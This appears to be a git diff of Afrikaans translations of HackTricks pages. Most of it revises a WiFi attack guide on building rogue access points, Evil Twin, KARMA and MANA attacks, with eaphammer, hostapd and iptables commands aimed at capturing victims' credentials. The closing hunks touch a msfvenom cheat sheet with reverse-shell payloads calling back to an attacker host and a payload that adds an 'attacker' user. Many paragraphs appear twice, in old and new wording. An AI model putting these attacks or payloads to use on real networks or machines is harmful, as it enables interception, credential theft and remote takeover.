In EAP-PEAP, sodra die TLS-tonnel tussen die PEAP-bediener en die PEAP-kliënt gevestig is, begin die PEAP-bediener 'n EAP-Identiteit versoek en stuur dit deur die TLS-tonnel. Die kliënt antwoord op hierdie tweede EAP-Identiteit versoek deur 'n EAP-Identiteit antwoord te stuur wat die gebruiker se werklike identiteit deur die versleutelde tonnel bevat. Hierdie benadering voorkom effektief die onthulling van die gebruiker se werklike identiteit aan enigiemand wat op die 802.11-verkeer afluister.
|
||||
|
||||
EAP-TTLS volg 'n effens ander prosedure. Met EAP-TTLS, verifieer die kliënt tipies met behulp van PAP of CHAP, beveilig deur die TLS-tonnel. In hierdie geval sluit die kliënt 'n User-Name attribuut en óf 'n Wagwoord of CHAP-Wagwoord attribuut in die aanvanklike TLS-boodskap wat gestuur word na tonnel vestiging.
|
||||
EAP-TTLS volg 'n effens ander prosedure. Met EAP-TTLS, verifieer die kliënt tipies met PAP of CHAP, beveilig deur die TLS-tonnel. In hierdie geval sluit die kliënt 'n User-Name attribuut en óf 'n Wagwoord of CHAP-Wagwoord attribuut in die aanvanklike TLS-boodskap wat gestuur word na tonnel vestiging.
|
||||
|
||||
Ongeag die protokol wat gekies word, verkry die PEAP/TTLS-bediener kennis van die gebruiker se werklike identiteit nadat die TLS-tonnel gevestig is. Die werklike identiteit kan voorgestel word as user@realm of eenvoudig user. As die PEAP/TTLS-bediener ook verantwoordelik is vir die verifikasie van die gebruiker, het dit nou die gebruiker se identiteit en gaan voort met die verifikasie metode wat deur die TLS-tonnel beskerm word. Alternatiewelik kan die PEAP/TTLS-bediener 'n nuwe RADIUS versoek na die gebruiker se huis RADIUS-bediener stuur. Hierdie nuwe RADIUS versoek laat die PEAP of TTLS protokol laag weg. In gevalle waar die beskermde verifikasie metode EAP is, word die innerlike EAP-boodskappe na die huis RADIUS-bediener gestuur sonder die EAP-PEAP of EAP-TTLS omhulsel. Die User-Name attribuut van die uitgaande RADIUS-boodskap bevat die gebruiker se werklike identiteit, wat die anonieme User-Name van die inkomende RADIUS versoek vervang. Wanneer die beskermde verifikasie metode PAP of CHAP is (slegs deur TTLS ondersteun), word die User-Name en ander verifikasie attribuut wat uit die TLS payload onttrek is, in die uitgaande RADIUS-boodskap vervang, wat die anonieme User-Name en TTLS EAP-Message attribuut wat in die inkomende RADIUS versoek gevind word, vervang.
|
||||
Ongeag die protokol wat gekies word, verkry die PEAP/TTLS-bediener kennis van die gebruiker se werklike identiteit nadat die TLS-tonnel gevestig is. Die werklike identiteit kan voorgestel word as user@realm of eenvoudig user. As die PEAP/TTLS-bediener ook verantwoordelik is vir die verifikasie van die gebruiker, het dit nou die gebruiker se identiteit en gaan voort met die verifikasie metode wat deur die TLS-tonnel beskerm word. Alternatiewelik kan die PEAP/TTLS-bediener 'n nuwe RADIUS versoek na die gebruiker se huis RADIUS-bediener deurstuur. Hierdie nuwe RADIUS versoek laat die PEAP of TTLS protokol laag weg. In gevalle waar die beskermde verifikasie metode EAP is, word die innerlike EAP-boodskappe na die huis RADIUS-bediener gestuur sonder die EAP-PEAP of EAP-TTLS omhulsel. Die User-Name attribuut van die uitgaande RADIUS-boodskap bevat die gebruiker se werklike identiteit, wat die anonieme User-Name van die inkomende RADIUS versoek vervang. Wanneer die beskermde verifikasie metode PAP of CHAP is (slegs deur TTLS ondersteun), word die User-Name en ander verifikasie attribuut wat uit die TLS payload onttrek is, in die uitgaande RADIUS-boodskap vervang, wat die anonieme User-Name en TTLS EAP-Message attribuut wat in die inkomende RADIUS versoek gevind word, vervang.
|
||||
|
||||
Vir meer inligting, kyk [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
|
||||
|
||||
|
@ -446,12 +446,12 @@ U kan ook hierdie aanval doen met `eaphammer`:
|
|||
--password bananas \
|
||||
--user-list users.txt
|
||||
```
|
||||
## Klientaanval Teorie
|
||||
## Klient aanval Teorie
|
||||
|
||||
### Netwerk Keuse en Roaming
|
||||
|
||||
* Die 802.11 protokol definieer hoe 'n stasie by 'n Uitgebreide Diensstel (ESS) aansluit, maar spesifiseer nie die kriteria vir die keuse van 'n ESS of 'n toegangspunt (AP) daarin nie.
|
||||
* Stasies kan tussen APs roamer wat dieselfde ESSID deel, terwyl hulle konneksie oor 'n gebou of area handhaaf.
|
||||
* Stasies kan tussen APs wat dieselfde ESSID deel, roamer, terwyl hulle konneksie oor 'n gebou of area handhaaf.
|
||||
* Die protokol vereis stasie-authentisering aan die ESS, maar vereis nie AP-authentisering aan die stasie nie.
|
||||
|
||||
### Gunsteling Netwerk Lyste (PNLs)
|
||||
|
@ -461,27 +461,27 @@ U kan ook hierdie aanval doen met `eaphammer`:
|
|||
|
||||
### Passiewe Skandering
|
||||
|
||||
* APs stuur periodiek seinraamwerke uit, wat hul teenwoordigheid en kenmerke aankondig, insluitend die AP se ESSID tensy uitsending gedeaktiveer is.
|
||||
* APs stuur periodiek seinraamwerke uit, wat hul teenwoordigheid en eienskappe aankondig, insluitend die AP se ESSID tensy uitsending gedeaktiveer is.
|
||||
* Tydens passiewe skandering luister stasies vir seinraamwerke. As 'n sein se ESSID ooreenstem met 'n inskrywing in die stasie se PNL, kan die stasie outomaties aan daardie AP verbind.
|
||||
* Kennis van 'n toestel se PNL maak potensiële uitbuiting moontlik deur 'n bekende netwerk se ESSID na te boots, wat die toestel mislei om aan 'n onwettige AP te verbind.
|
||||
|
||||
### Aktiewe Probing
|
||||
|
||||
* Aktiewe probing behels dat stasies probe versoeke stuur om nabygeleë APs en hul eienskappe te ontdek.
|
||||
* Aktiewe probing behels stasies wat probe versoeke stuur om nabygeleë APs en hul eienskappe te ontdek.
|
||||
* Gerigte probe versoeke teiken 'n spesifieke ESSID, wat help om te detecteer of 'n spesifieke netwerk binne bereik is, selfs al is dit 'n verborge netwerk.
|
||||
* Uitsendingsprobe versoeke het 'n nul SSID veld en word na alle nabygeleë APs gestuur, wat die stasie toelaat om enige gunsteling netwerk te kontroleer sonder om sy PNL-inhoud bekend te maak.
|
||||
|
||||
## Eenvoudige AP met herleiding na Internet
|
||||
## Eenvoudige AP met herleiding na die Internet
|
||||
|
||||
Voordat verduidelik word hoe om meer komplekse aanvalle uit te voer, gaan daar verduidelik word **hoe** om net **'n AP** te **skep** en sy **verkeer** na 'n koppelvlak wat **aan** die **Internet** gekoppel is te **herlei**.
|
||||
Voordat verduidelik word hoe om meer komplekse aanvalle uit te voer, gaan daar verduidelik word **hoe** om net **'n AP** te **skep** en **sy verkeer** na 'n koppelvlak wat **aan** die **Internet** gekoppel is, te **herlei**.
|
||||
|
||||
Gebruik `ifconfig -a` om te kontroleer dat die wlan-koppelvlak om die AP te skep en die koppelvlak wat aan die Internet gekoppel is teenwoordig is.
|
||||
Gebruik `ifconfig -a` om te kontroleer dat die wlan-koppelvlak om die AP te skep en die koppelvlak wat aan die Internet gekoppel is, teenwoordig is.
|
||||
|
||||
### DHCP & DNS
|
||||
```bash
|
||||
apt-get install dnsmasq #Manages DHCP and DNS
|
||||
```
|
||||
Skep die konfigurasie lêer `/etc/dnsmasq.conf`:
|
||||
Skep die konfigurasie-lêer `/etc/dnsmasq.conf`:
|
||||
```ini
|
||||
interface=wlan0
|
||||
dhcp-authoritative
|
||||
|
@ -493,7 +493,7 @@ log-queries
|
|||
log-dhcp
|
||||
listen-address=127.0.0.1
|
||||
```
|
||||
Dan **stel IP's** en **roetes** in:
|
||||
Dan **stel IP's** en **roetes**:
|
||||
```bash
|
||||
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
|
||||
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
|
||||
|
@ -524,14 +524,14 @@ wpa_group_rekey=86400
|
|||
ieee80211n=1
|
||||
wme_enabled=1
|
||||
```
|
||||
**Stop irriterende prosesse**, stel **monitor-modus** in, en **begin hostapd**:
|
||||
**Stop irriterende prosesse**, stel **monitor modus** in, en **begin hostapd**:
|
||||
```bash
|
||||
airmon-ng check kill
|
||||
iwconfig wlan0 mode monitor
|
||||
ifconfig wlan0 up
|
||||
hostapd ./hostapd.conf
|
||||
```
|
||||
### Voorkeuring en Oorleiding
|
||||
### Voorwaartse en Herleiding
|
||||
```bash
|
||||
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
||||
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
||||
|
@ -539,11 +539,11 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
|||
```
|
||||
## Evil Twin
|
||||
|
||||
'n Evil twin-aanval benut die manier waarop WiFi-kliënte netwerke herken, wat hoofsaaklik op die netwerknaam (ESSID) staatmaak sonder om die basisstasie (toegangspunt) te vereis om homself aan die kliënt te verifieer. Sleutelpunte sluit in:
|
||||
'n Evil twin-aanval benut die manier waarop WiFi-kliënte netwerke herken, hoofsaaklik deur op die netwerknaam (ESSID) te staatmaak sonder om die basisstasie (toegangspunt) te vereis om homself aan die kliënt te verifieer. Sleutelpunte sluit in:
|
||||
|
||||
* **Moeilikheid om te Verskil**: Toestelle sukkel om tussen wettige en onwettige toegangspunte te onderskei wanneer hulle dieselfde ESSID en versleutelingstipe deel. Regte wêreldnetwerke gebruik dikwels verskeie toegangspunte met dieselfde ESSID om dekking naatloos uit te brei.
|
||||
* **Kliënt Roaming en Verbinding Manipulasie**: Die 802.11-protokol laat toestelle toe om tussen toegangspunte binne dieselfde ESS te roam. Aanvallers kan dit benut deur 'n toestel te lok om van sy huidige basisstasie af te skakel en met 'n onwettige een te verbind. Dit kan bereik word deur 'n sterker sein aan te bied of die verbinding met die wettige toegangspunt te ontwrig deur metodes soos deauthenticatie-pakkette of jamming.
|
||||
* **Uitvoeringsuitdagings**: Om 'n evil twin-aanval suksesvol uit te voer in omgewings met verskeie, goed geplaasde toegangspunte kan uitdagend wees. Deauthentisering van 'n enkele wettige toegangspunt lei dikwels daartoe dat die toestel met 'n ander wettige toegangspunt verbind, tensy die aanvaller al die nabye toegangspunte kan deauthentiseer of die onwettige toegangspunt strategies kan plaas.
|
||||
* **Moeilikheid in Differensiasie**: Toestelle sukkel om tussen wettige en onwettige toegangspunte te onderskei wanneer hulle dieselfde ESSID en versleutelingstipe deel. Regte wêreldnetwerke gebruik dikwels verskeie toegangspunte met dieselfde ESSID om dekking naatloos uit te brei.
|
||||
* **Kliënt Roaming en Verbinding Manipulasie**: Die 802.11-protokol laat toestelle toe om tussen toegangspunte binne dieselfde ESS te roam. Aanvallers kan dit benut deur 'n toestel te lok om van sy huidige basisstasie af te skakel en met 'n onwettige een te verbind. Dit kan bereik word deur 'n sterker sein aan te bied of die verbinding met die wettige toegangspunt te ontwrig deur metodes soos deauthentisering pakkette of jamming.
|
||||
* **Uitvoeringsuitdagings**: Om 'n evil twin-aanval suksesvol uit te voer in omgewings met verskeie, goed geplaasde toegangspunte kan uitdagend wees. Deauthentisering van 'n enkele wettige toegangspunt lei dikwels daartoe dat die toestel met 'n ander wettige toegangspunt verbind, tensy die aanvaller alle nabye toegangspunte kan deauthentiseer of die onwettige toegangspunt strategies kan plaas.
|
||||
|
||||
Jy kan 'n baie basiese Open Evil Twin (geen vermoëns om verkeer na die Internet te roete nie) skep deur:
|
||||
```bash
|
||||
|
@ -557,13 +557,13 @@ Of gebruik Airgeddon: `Options: 5,6,7,8,9 (binne Evil Twin aanvalspaneel).`
|
|||
|
||||
![](<../../.gitbook/assets/image (1088).png>)
|
||||
|
||||
Let asseblief daarop dat as 'n ESSID in die PNL as WPA beskerm is, die toestel nie outomaties aan 'n Open evil Twin sal verbind nie. Jy kan probeer om die werklike AP te DoS en hoop dat die gebruiker handmatig aan jou Open evil Twin sal verbind, of jy kan die werklike AP DoS en 'n WPA Evil Twin gebruik om die handshake te vang (met hierdie metode sal jy nie in staat wees om die slagoffer aan jou te laat verbind nie, aangesien jy nie die PSK ken nie, maar jy kan die handshake vang en probeer om dit te kraak).
|
||||
Let asseblief daarop dat as 'n ESSID in die PNL as WPA beskerm is, die toestel nie outomaties aan 'n Open evil Twin sal verbind nie. Jy kan probeer om die werklike AP te DoS en hoop dat die gebruiker handmatig aan jou Open evil twin sal verbind, of jy kan die werklike AP DoS en 'n WPA Evil Twin gebruik om die handshake te vang (met hierdie metode sal jy nie in staat wees om die slagoffer aan jou te laat verbind nie, aangesien jy nie die PSK ken nie, maar jy kan die handshake vang en probeer om dit te kraak).
|
||||
|
||||
_Sommige OS en AV sal die gebruiker waarsku dat dit gevaarlik is om aan 'n Open netwerk te verbind..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
Jy kan 'n **Evil Twin met WPA/2** skep en as die toestelle geconfigureer is om aan daardie SSID met WPA/2 te verbind, gaan hulle probeer om te verbind. In elk geval, **om die 4-way-handshake te voltooi** moet jy ook die **wagwoord** weet wat die kliënt gaan gebruik. As jy dit **nie weet nie**, sal die **verbinding nie voltooi word**.
|
||||
Jy kan 'n **Evil Twin met WPA/2** skep en as die toestelle geconfigureer is om aan daardie SSID met WPA/2 te verbind, gaan hulle probeer om te verbind. In elk geval, **om die 4-way-handshake te voltooi** moet jy ook die **wagwoord** weet wat die kliënt gaan gebruik. As jy dit **nie weet nie**, sal die **verbinding nie voltooi word nie**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
|
@ -594,7 +594,7 @@ Deur die standaard beoog EAPHammer hierdie autentikasie metodes (let op GTC as d
|
|||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
Dit is die standaardmetodologie om lang verbindtijd te vermy. U kan egter ook spesifiseer om die outentikasie-metodes van die swakste na die sterkste te bedien:
|
||||
Dit is die standaardmetodologie om lang verbindtijd te vermy. U kan egter ook spesifiseer om die outentikasie metodes van die swakste na die sterkste te bedien:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
|
@ -615,14 +615,14 @@ Of jy kan ook gebruik:
|
|||
|
||||
_Hierdie metode is getoets in 'n PEAP-verbinding, maar aangesien ek 'n arbitrêre TLS-tonnel ontcijfer, behoort dit ook met EAP-TTLS te werk._
|
||||
|
||||
Binne die **konfigurasie** van _hostapd-wpe_ **kommentaar** die lyn wat _**dh\_file**_ bevat (van `dh_file=/etc/hostapd-wpe/certs/dh` na `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
Dit sal maak dat `hostapd-wpe` **sleutels met RSA ruil** in plaas van DH, sodat jy later die verkeer kan **ontcijfer** **terwyl jy die bediener se privaat sleutel ken**.
|
||||
Binne die **konfigurasie** van _hostapd-wpe_ **kommenteer** die lyn wat _**dh\_file**_ bevat (van `dh_file=/etc/hostapd-wpe/certs/dh` na `#dh_file=/etc/hostapd-wpe/certs/dh`)\
|
||||
Dit sal `hostapd-wpe` laat **sleutelruil met RSA** in plaas van DH, sodat jy in staat sal wees om die verkeer later te **ontcijfer** **met kennis van die bediener se privaat sleutel**.
|
||||
|
||||
Begin nou die **Evil Twin** met **`hostapd-wpe`** met daardie gewysigde konfigurasie soos gewoonlik. Begin ook **`wireshark`** in die **koppelvlak** wat die Evil Twin-aanval uitvoer.
|
||||
|
||||
Nou of later (wanneer jy reeds 'n paar outentikasie-intensies gevang het) kan jy die privaat RSA-sleutel by wireshark voeg in: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
Voeg 'n nuwe inskrywing by en vul die vorm met hierdie waardes: **IP adres = enige** -- **Haven = 0** -- **Protokol = data** -- **Sleutel lêer** (**kies jou sleutel lêer**, om probleme te vermy, kies 'n sleutel lêer **sonder om met 'n wagwoord beskerm te wees**).
|
||||
Voeg 'n nuwe inskrywing by en vul die vorm met hierdie waardes in: **IP adres = enige** -- **Poort = 0** -- **Protokol = data** -- **Sleutel lêer** (**kies jou sleutel lêer**, om probleme te vermy, kies 'n sleutel lêer **sonder om met 'n wagwoord beskerm te wees**).
|
||||
|
||||
![](<../../.gitbook/assets/image (687).png>)
|
||||
|
||||
|
@ -630,20 +630,20 @@ En kyk na die nuwe **"Ontcijferde TLS" oortjie**:
|
|||
|
||||
![](<../../.gitbook/assets/image (231).png>)
|
||||
|
||||
## KARMA, MANA, Loud MANA en Bekende bakens aanval
|
||||
## KARMA, MANA, Hard MANA en Bekende bakens aanval
|
||||
|
||||
### ESSID en MAC swart/blanklyste
|
||||
### ESSID en MAC swart/lys lys
|
||||
|
||||
Verskillende tipes Media Access Control Filter Lyste (MFACLs) en hul ooreenstemmende modi en effekte op die gedrag van 'n rogue Access Point (AP):
|
||||
|
||||
1. **MAC-gebaseerde Blanklys**:
|
||||
* Die rogue AP sal slegs op navraagversoeke van toestelle wat in die blanklys gespesifiseer is, reageer, en sal vir alle ander wat nie gelys is nie, onsigbaar bly.
|
||||
1. **MAC-gebaseerde Witlys**:
|
||||
* Die rogue AP sal slegs op navraag versoeke van toestelle wat in die witlys gespesifiseer is, reageer, en onsigbaar bly vir alle ander wat nie gelys is nie.
|
||||
2. **MAC-gebaseerde Swartlys**:
|
||||
* Die rogue AP sal navraagversoeke van toestelle op die swartlys ignoreer, wat die rogue AP effektief onsigbaar maak vir daardie spesifieke toestelle.
|
||||
3. **SSID-gebaseerde Blanklys**:
|
||||
* Die rogue AP sal slegs op navraagversoeke vir spesifieke ESSIDs wat gelys is, reageer, wat dit onsigbaar maak vir toestelle wie se Voorkeur Netwerk Lyste (PNLs) nie daardie ESSIDs bevat nie.
|
||||
* Die rogue AP sal navraag versoeke van toestelle op die swartlys ignoreer, wat effektief die rogue AP onsigbaar maak vir daardie spesifieke toestelle.
|
||||
3. **SSID-gebaseerde Witlys**:
|
||||
* Die rogue AP sal slegs op navraag versoeke vir spesifieke ESSIDs wat gelys is, reageer, wat dit onsigbaar maak vir toestelle wie se Voorkeur Netwerk Lyste (PNLs) nie daardie ESSIDs bevat nie.
|
||||
4. **SSID-gebaseerde Swartlys**:
|
||||
* Die rogue AP sal nie op navraagversoeke vir die spesifieke ESSIDs op die swartlys reageer nie, wat dit onsigbaar maak vir toestelle wat daardie spesifieke netwerke soek.
|
||||
* Die rogue AP sal nie op navraag versoeke vir die spesifieke ESSIDs op die swartlys reageer nie, wat dit onsigbaar maak vir toestelle wat daardie spesifieke netwerke soek.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
|
@ -665,27 +665,27 @@ name3
|
|||
```
|
||||
### KARMA
|
||||
|
||||
Hierdie metode laat 'n **aanvaller toe om 'n kwaadwillige toegangspunt (AP) te skep wat op alle proefversoeke** van toestelle wat probeer om aan netwerke te koppel, reageer. Hierdie tegniek **mislei toestelle om aan 'n aanvaller se AP te koppel** deur die netwerke na te boots waarna die toestelle soek. Sodra 'n toestel 'n verbindingsversoek na hierdie onwettige AP stuur, voltooi dit die verbinding, wat die toestel lei om verkeerdelik aan die aanvaller se netwerk te koppel.
|
||||
Hierdie metode laat 'n **aanvaller toe om 'n kwaadwillige toegangspunt (AP) te skep wat op alle proefversoeke** van toestelle wat probeer om met netwerke te verbind, reageer. Hierdie tegniek **mislei toestelle om met 'n aanvaller se AP te verbind** deur die netwerke na te boots waarna die toestelle soek. Sodra 'n toestel 'n verbindingsversoek na hierdie onwettige AP stuur, voltooi dit die verbinding, wat die toestel lei om verkeerdelik met die aanvaller se netwerk te verbind.
|
||||
|
||||
### MANA
|
||||
|
||||
Toe het **toestelle begin om ongevraagde netwerkreaksies te ignoreer**, wat die doeltreffendheid van die oorspronklike karma-aanval verminder het. egter, 'n nuwe metode, bekend as die **MANA-aanval**, is deur Ian de Villiers en Dominic White bekendgestel. Hierdie metode behels dat die onwettige AP **die Gekose Netwerk Lyste (PNL) van toestelle vasvang deur op hul uitsendingsproefversoeke te reageer** met netwerkname (SSID's) wat voorheen deur die toestelle versoek is. Hierdie gesofistikeerde aanval omseil die beskerming teen die oorspronklike karma-aanval deur die manier waarop toestelle bekende netwerke onthou en prioriteit gee, te benut.
|
||||
|
||||
Die MANA-aanval werk deur beide gerigte en uitsendingsproefversoeke van toestelle te monitor. Vir gerigte versoeke, registreer dit die toestel se MAC-adres en die versoekte netwerknaam, en voeg hierdie inligting by 'n lys. Wanneer 'n uitsendingsversoek ontvang word, reageer die AP met inligting wat ooreenstem met enige van die netwerke op die toestel se lys, wat die toestel aanmoedig om aan die onwettige AP te koppel.
|
||||
Die MANA-aanval werk deur beide gerigte en uitsendingsproefversoeke van toestelle te monitor. Vir gerigte versoeke, registreer dit die toestel se MAC-adres en die versoekte netwerknaam, en voeg hierdie inligting by 'n lys. Wanneer 'n uitsendingsversoek ontvang word, reageer die AP met inligting wat ooreenstem met enige van die netwerke op die toestel se lys, wat die toestel aanmoedig om met die onwettige AP te verbind.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Loud MANA
|
||||
|
||||
'n **Loud MANA-aanval** is 'n gevorderde strategie vir wanneer toestelle nie gerigte ondersoeke gebruik nie of wanneer hul Gunsteling Netwerk Lyste (PNL) onbekend is vir die aanvaller. Dit werk op die beginsel dat **toestelle in dieselfde area waarskynlik sommige netwerkname in hul PNL's deel**. In plaas daarvan om selektief te reageer, stuur hierdie aanval ondersoekreaksies uit vir elke netwerknaam (ESSID) wat in die saamgestelde PNL's van alle waargenome toestelle gevind word. Hierdie breë benadering verhoog die kans dat 'n toestel 'n bekende netwerk herken en probeer om met die onwettige Toegangspunt (AP) te verbind.
|
||||
'n **Loud MANA-aanval** is 'n gevorderde strategie vir wanneer toestelle nie gerigte ondersoeke gebruik nie of wanneer hul Gekoesterde Netwerk Lyste (PNL) onbekend is vir die aanvaller. Dit werk op die beginsel dat **toestelle in dieselfde area waarskynlik sommige netwerkname in hul PNLs deel**. In plaas daarvan om selektief te reageer, stuur hierdie aanval ondersoekreaksies uit vir elke netwerknaam (ESSID) wat in die gekombineerde PNLs van alle waargenome toestelle gevind word. Hierdie breë benadering verhoog die kans dat 'n toestel 'n bekende netwerk herken en probeer om met die onwettige Toegangspunt (AP) te verbind.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Bekende Beacon-aanval
|
||||
|
||||
Wanneer die **Loud MANA-aanval** dalk nie genoegsaam is nie, bied die **Bekende Beacon-aanval** 'n ander benadering. Hierdie metode **brute-forces die verbindsproses deur 'n AP te simuleer wat op enige netwerknaam reageer, terwyl dit deur 'n lys van potensiële ESSIDs uit 'n woordlys draai**. Dit simuleer die teenwoordigheid van talle netwerke, in die hoop om 'n ESSID binne die slagoffer se PNL te pas, wat 'n verbindingspoging na die gefabriseerde AP uitlok. Die aanval kan versterk word deur dit te kombineer met die `--loud` opsie vir 'n meer aggressiewe poging om toestelle te vang.
|
||||
Wanneer die **Loud MANA-aanval** dalk nie genoegsaam is nie, bied die **Bekende Beacon-aanval** 'n ander benadering. Hierdie metode **brute-forces die verbindsproses deur 'n AP te simuleer wat op enige netwerknaam reageer, terwyl dit deur 'n lys van potensiële ESSIDs uit 'n woordlys draai**. Dit simuleer die teenwoordigheid van talle netwerke, in die hoop om 'n ESSID binne die slagoffer se PNL te pas, wat 'n verbindoog poging tot die gefabriseerde AP aanmoedig. Die aanval kan versterk word deur dit te kombineer met die `--loud` opsie vir 'n meer aggressiewe poging om toestelle te vang.
|
||||
|
||||
Eaphammer het hierdie aanval as 'n MANA-aanval geïmplementeer waar al die ESSIDs binne 'n lys opgelê word (jy kan dit ook met `--loud` kombineer om 'n Loud MANA + Bekende beacons-aanval te skep):
|
||||
Eaphammer het hierdie aanval as 'n MANA-aanval geïmplementeer waar al die ESSIDs binne 'n lys opgelaad word (jy kan dit ook met `--loud` kombineer om 'n Loud MANA + Bekende beacons aanval te skep):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
|
@ -714,7 +714,7 @@ Hierdie metodes, veral PIN invoer, is kwesbaar vir dieselfde kwesbaarhede as WPS
|
|||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**EvilDirect Hijacking** is 'n aanval wat spesifiek op Wi-Fi Direct gerig is. Dit weerspieël die konsep van 'n Evil Twin aanval, maar teiken Wi-Fi Direct verbindings. In hierdie scenario, doen 'n aanvaller asof hy 'n wettige groepseienaar is met die doel om toestelle te mislei om met 'n kwaadwillige entiteit te verbind. Hierdie metode kan uitgevoer word met behulp van gereedskap soos `airbase-ng` deur die kanaal, ESSID, en MAC adres van die geïmiteerde toestel te spesifiseer:
|
||||
**EvilDirect Hijacking** is 'n aanval wat spesifiek op Wi-Fi Direct gerig is. Dit weerspieël die konsep van 'n Evil Twin aanval, maar teiken Wi-Fi Direct verbindings. In hierdie scenario, doen 'n aanvaller asof hy 'n wettige groepseienaar is met die doel om toestelle te mislei om met 'n kwaadwillige entiteit te verbind. Hierdie metode kan uitgevoer word met behulp van gereedskap soos `airbase-ng` deur die kanaal, ESSID, en MAC adres van die geïmpersoniseerde toestel te spesifiseer:
|
||||
|
||||
## References
|
||||
|
||||
|
@ -729,22 +729,22 @@ Hierdie metodes, veral PIN invoer, is kwesbaar vir dieselfde kwesbaarhede as WPS
|
|||
* [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
|
||||
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
|
||||
TODO: Neem 'n kyk na [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login met facebook en imitatie van WPA in captive portals)
|
||||
TODO: Kyk na [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login met facebook en imitatie van WPA in captive portals)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Insights**\
|
||||
Engage with content that delves into the thrill and challenges of hacking
|
||||
Neem deel aan inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van real-time nuus en insigte
|
||||
|
||||
**Latest Announcements**\
|
||||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,7 +15,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
|
@ -38,7 +38,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
Mens kan ook die `-a` gebruik om die argitektuur te spesifiseer of die `--platform`
|
||||
|
||||
## Lyste
|
||||
## Lys
|
||||
```bash
|
||||
msfvenom -l payloads #Payloads
|
||||
msfvenom -l encoders #Encoders
|
||||
|
@ -75,7 +75,7 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### CMD Shell
|
||||
### CMD-skaal
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -105,8 +105,6 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
|
|||
## Linux Payloads
|
||||
|
||||
### Reverse Shell
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
||||
|
@ -160,7 +158,7 @@ cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> s
|
|||
|
||||
### ASP/x
|
||||
|
